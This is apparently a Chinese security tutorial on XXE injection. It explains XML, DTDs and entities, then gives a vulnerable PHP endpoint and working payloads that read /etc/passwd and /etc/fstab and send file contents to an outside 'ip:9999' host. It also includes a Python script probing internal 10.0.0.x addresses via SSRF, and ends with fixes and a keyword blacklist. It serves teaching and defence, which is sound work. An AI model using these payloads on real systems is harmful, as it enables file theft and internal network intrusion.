一、背景知识
XML介绍
XML是一种非常流行的标记语言,ML就是Markup Language 标记语言的缩写,顾名思义标记语言就是把普通的文本加上标记,让计算机能够识别。这里XML是可扩展标记语言,主要用于配置文件,其他的还有HTML(超文本标记语言),XHTML(可扩展超文本标记语言),主要用于网页文件等。
XML文档的基础组成
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
1. XML声明
常用的有说明使用的编码<?xml version="1.0" encoding="GB2312" ?>
说明文档是否独立,是否依赖外部文件,yes标识需要外部文件<?xml version="1.0" standalone="yes" ?>
2. 文档类型定义
也叫做XML约束,XML DTD是XML约束的一种,全称为文档类型定义
内部声明DTD<!DOCTYPE 根元素 [元素声明]>
元素声明使用规则:
- (#PCDATA)指示元素的是正常的标签字符数据。
- EMPTY:用于指示元素的主体为空。比如
- ANY:用于指示元素的主题内容为任意类型。
- (子元素):指示元素中包含的子元素。
引用外部DTD,有两种
- 引用的DTD文档在本地:
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 书架 SYSTEM “book.dtd”>
- 引用的DTD文档在网络上
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
DTD引用网络文档对协议的支持:
DTD 有两种数据:
- PCDATA(parse character data):要给xml解析器去解析的的数据,这个主要是在DTD约束文档使用
- CDATA(character data):用来告诉浏览器,这部分内容不用解析,是给其他程序用的,比如js代码
3. 元素
XML元素是指XML文件中出现的标签,标签有其实标签和结束标签,中间的是主体。标签中还可以包括属性
4. 实体
- 内部实体与外部实体
上面说的都是在DTD中定义元素,约束,除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的,比如:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<!-- ANY表示接受任何元素,定义了一个xml实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用-->
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
上面这种是内部实体,类似于在内部定义了一个变量,配合前面的引用外部DTD,可以使用外部实体,比如file协议:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(不安全)
- 通用实体与参数实体
上面说的都是通用实体,除此之外还有另一种参数实体
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
参数实体就是触发XXE的关键
二、 能做什么
1.任意文件读
从上面的功能,第一反应可以想到的就是本地任意文件读,当我们可以控制一个xml时,我们可以发送一个带有本地文件的实体,然后用标签打印出来
server 漏洞代码:
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<creds>&goodies;</creds>
结果:
这个poc有一个问题, 如果读取的文件里面包含标签的相关字符,比如<>这种,DTD会进行解析,解析失败就会报错。因此要用到前面说的CDATA
有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据,而不是标记的情况包含大量的 <> & 或者" 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分
<![CDATA[ XXXXXXXXXXXXXXXXX ]]>
也就是说我们要把CDATA[] 拼接到变量前后,比如直接拼接:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY start "<![CDATA[">
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<!ENTITY end "]]>"
<creds>&start;&goodies;&end;</creds>
实际测试会报错, 也就是不能在xml中拼接,要拼接以后再在xml中调用,那我们只能用参数实体,在另一个DTD中拼接好定义的字符串,再定义一个拼接好的交给xml调用,这种我们需要另外一个可以访问的外部DTD
Payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/fstab">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
测试在php7成功读取到/etc/fatab里面的各种字符
2. 外带回显
使用外部实体实现外部回显
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
3. SSRF
既然可以读取远程读取到我们server上的evil.dtd,同理也可以访问服务器内部造成SSRF,以及内网端口扫描,脚本:
import requests
import base64
#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
4. JSON content-type XXE
般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
现在我们尝试将 Content-Type 修改为 application/xml 返回包会显示:
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
这种情况下我们就可以尝试发送xml payload进行XXE注入
5. 文件上传
java中有一个jar://协议,格式:
jar:{url}!{path}
jar:http://host/application.jar!/file/within/the/zip
具体利用参考文章https://xz.aliyun.com/t/3357
四、修复
方案一:使用语言中推荐的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二:手动黑名单过滤(不推荐)
过滤关键词:
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC